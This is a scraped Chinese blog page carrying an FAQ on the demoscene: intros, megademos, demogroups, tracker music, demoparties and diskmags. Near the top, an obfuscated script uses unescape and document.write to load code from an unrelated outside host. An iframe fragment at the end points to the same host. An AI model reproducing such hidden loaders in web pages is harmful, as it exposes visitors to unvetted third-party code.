demo简介

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
demo简介

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>

 对很多人来说, 计算机是迷人的机器. 所谓迷人有种种的种种, 一些人依靠他们的智慧和创造精神,
制作了多不可数的精灵, 这就是这个FAQ存在的原因和意义所在. 什么是Demo(Short4Demostration, Demo秀):
传统的Demo是指在计算机上展示一系列奇妙的动画和效果的非交互的多媒体程序, 通常有原创的配乐.
它与传统动画的区别在于Demo的演示效果是由实时运算产生的(与你所看的电影版FinalFantasy不同,但和游戏是一样的, 但Demo和游戏Demo毫不相关), 这给制作者很大的挑战(这与计算机性能有关: (). 大部分Demo运行在PC上, 但并不全是, 事实上, 最初的Demo运行于诸如C64, Amiga之类的机器上, 而且几乎所有的平台上都有Demo在运行.这里对Demo有一个粗略的分类, 实际比赛的项目分类要详细的多: intro(Short4introduction): 一般为4k, 64k大小不等(少数intro甚至小到128bytes,256bytes... 我所见到的最小的Demo是farb-rausch的fr-016: 16bytes!!), 特效较少, 而且较小的intro大多没有声音, 通常用来介绍新的Demo大赛, Demo小组, BBS之类, 甚至有介绍自己的婚礼或大胖儿子的intro: ). MegaDemo: 不用说, 数兆大小, 当然效果也就更炫. 有些MegaDemo有令人费解的情节, 但效果一级棒.
----------------------------------------------------------
这些漂亮的Demo都是什么人做的:
  通常是一些年轻的计算机爱好者, 很大一部分是学生. 他们用热情写出了这些漂亮的Demo, 夜以继日的热情. Demo常常要花费数日, 数周甚至数月来完成, 而且程序员并不一定在音乐美术方面在行, 所以通常有几个人分别负责这些部分, 这样, Demogroup形成了. 一个Demogroup的成员可能在同一间学生宿舍, 也可能住在两个国家, 他们通过IRC交流或者在Demoparty上见面. 著名的Demogroup有farb-rausch等. 因制作Demo而闻名的国家有: 北欧诸国(Scandinavia半岛上的瑞典、挪威、丹麦、冰岛等国), 芬兰, 荷兰, 瑞士, 波兰, 法国, 德国. 一些东欧国家近来也出现了不少优秀的作品. 西班牙, 意大利, 日本, 美国也有人在做Demo. 总之, Demo制作者大部分是欧洲人, 正因为如此, 在欧洲以外的国家, Demo又被叫做euroDemo.
---------------------------------------------------------
Demo是怎么做出来的:
  实际上是这样的, 小组的程序员用他的业余时间(也可能是工作时间:))写一个程序框架, 用来同步显示和音乐, 当然, 包括特效的部分. 这样一个程序通常由汇编, C/C++, Pascal等写成, 然后为了Demo运行的更流畅, 一些代码要用汇编重写. 最后, 手绘的图形, 美妙的音乐通过精心设计的代码组合起来, 又一个Demo出现了!这是Demo的编程部分. 图形部分当然由美术家来完成. 美术家的工作包括3D建模, 贴图制作(这通常是一件逐象素的描绘工作), 设定虚拟摄像机的运行路径以供程序员使用之类. 音乐家将完成音乐的创作和制作. 大多数情况下,这是一种叫做Module的音乐,使用一种叫Tracker的程序完成. Module与MIDI有点类似, 但Module使用自己的乐器采样而不像MIDI使用的是声卡或软波表的乐器, 因此Module可以在所有硬件平台上获得同样的播放效果,而且, 文件却很小巧. Moudule允许对声音完全的控制, 对应着, 制作的难度水平. Module文件后缀通常为mod, stm, s3m, it, xm之类, 这些格式的音乐大都可以用Winamp来播放, 但有更专业的Module播放器如: ModPlug Player(Tracker/Plugins too)等等. 另外, 越来越多的音乐开始使用MP3格式. 请访问
http://www.maz-sound.com/
以获得Module的播放制作工具.由于种种限制: 比如平台性能, 文件大小等, Demo的制作需要很高的技术水平: 你知道你能在64k大小的程序里放些什么!!
----------------------------------------------------------
做Demo那么费劲, 为什么人们还要做:
   : )有很多人认为做Demo是在浪费时间, 但Scener们认为做Demo是a cool way to waste.. 有一段很棒的描述, 非常棒(by Grant Smith):   Jonny looks around, confused, his train of thought disrupted. He collects himself, and stares at the teacher with a steady eye. "I want to code demos, " he says, his words becoming stronger and more confidant as he speaks. "I want to write something that will change people's perception of reality. I want them to walk away from the computer dazed, unsure of their footing and eyesight. I want to write something that will reach out of the screen and grab them, making heartbeats and breathing slow to almost a halt. I want to write something that, when it is finished, they are reluctant to leave, knowing that nothing they experience that day will be quite as real, as insightful,as good. I want to write demos. "  Silence. The class and the teacher stare at Jonny, stunned. It is the teachers turn to be confused. Jonny blushes, feeling that something more is required. "Either that or I want to be a fireman. "
-----------------------------------------------------------
我可以做么:
  完全可以. 你需要的只是一点数学知识, 几本图形学编程的书和热情(我是说编程方面). 而音乐, 呵呵, 大概很多人都玩过电脑作曲吧.
-----------------------------------------------------------
什么是Demoscene(Scene):
   Scene是指涉及某一领域的所有人, 是无组织的文化群体, 通常有点地下的味道. Scene并不总和Demoscene甚至并不总和计算机联系在一起, Demoscene并不是唯一的Scene, 有众多形式各异的Scene比如Music Scene, Cracking Scene(你也可以叫他WareZ Scene, Pirate Scene, 是的, 盗版, 据说Amiga市场就是由此被做掉的:(). 一种发明发现一旦流行起来, 总有众多的追随者, 追随者可以被叫做Scener. Scener并不是头衔, Scener应热爱他所热爱的领域并对它有所贡献. 当然, 只要你对它有兴趣, 你就可以把自己叫做Scener. 对应与它的名字, Demoscene是一个Demo爱好者们组成的景观: ). 一种计算机多媒体文化, 比如说, 黒客文化, 其实两者有很多相像的地方: 边缘, 传奇, 高深莫测: ), 事实上,老一辈Demoscene的成员们就是做Crack出身的黒客. 最初人们Crack一个软件或者游戏以后, 他们经常加上一些精致的动画(CrackTro:))以告知使用者: 看, 这是我们的Crack, 我们有多棒!后来他们中一些人认为做这些动画比Crack软件更有意思, 于是他们开始制作独立的演示动画程序. 就这样, 大约在1980年左右, Demo scene产生了. Demo制作小组也保留了许多Crack小组的风格, 包括小组名称和一些行话.但现在的Demoscene和盗版毫不相干: ). 传统的Demo用汇编写成, 1995年左右, 人们开始使用C, 后来Java也开始使用. 二十年过去了, 随着最初平台(C64, Amiga, IBM-PC with DOS, etc)的消亡, demoscene转向了Windows, Linux, 和互联网. 而且随着时间的推移, Demoscene正努力成为人们所接受的主流艺术形式, 大型Demoparty的商业化表明了这一点. 老一辈的Demoscener认为这是一种堕落,然而大部分人认为这是一个好的方向. 很多Demoscener最后投身计算机游戏工业, 并且做得很棒: 他们所要做的, 只是把他们的Demo加上交互就可以了: ).
------------------------------------------------------------
什么是Demoparty:
  弥漫着competition和enjoy气氛的聚会, 这使得Demo制作者有机会在现实世界中见面: 聊天, 交流技术. 众多Demo制作好手的作品在Party上50平方米的屏幕上展示出来, 参加者投票决出最佳. 获奖者将获得组织者提供的奖金: 来自赞助商和门票收入. 竞赛项目有intro, demo, music, graphics, 另外还有一些讲座和比如扔软盘, 扔光盘, 扔硬盘(!), 扔计算机(!!)之类的娱乐性项目. 最大的几个Party有the Assembly(Finland:
http://www.assembly.org/
), The Party(Denmark:
http://www.theparty.dk/
), The Gathering(Norway:
http://www.gathering.org/
)等等, 每年都会有2000-5000人参加. 但最大的并不一定是最好的, 因为这些Party的参加者很大一部分是来挑Quake, 跑极品而不是来关心Demoscene的, 所以中小型Party才是最棒的, 比如The Takeover(Holland:
http://www.takeover.nl/
), the Mekka-Symposium(Germany:
http://ms.demo.org/
)等等.在欧洲, 平均每周都会有一个Party.
-----------------------------------------------------------
什么是Diskmag, 什么是Musicdisk:
   前者为Demoscene的电子杂志, 后者是Demo小组的Music专辑, 两者均不定期发行. 通常为可执行文件, 制作精美, Musicdisk常带有专辑专用的Player. 在
ftp://ftp.scene.org/pub/demos/mags/
,
ftp://ftp.scene.org/pub/demos/music/disks/
, 你可以找到这种杂志.
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值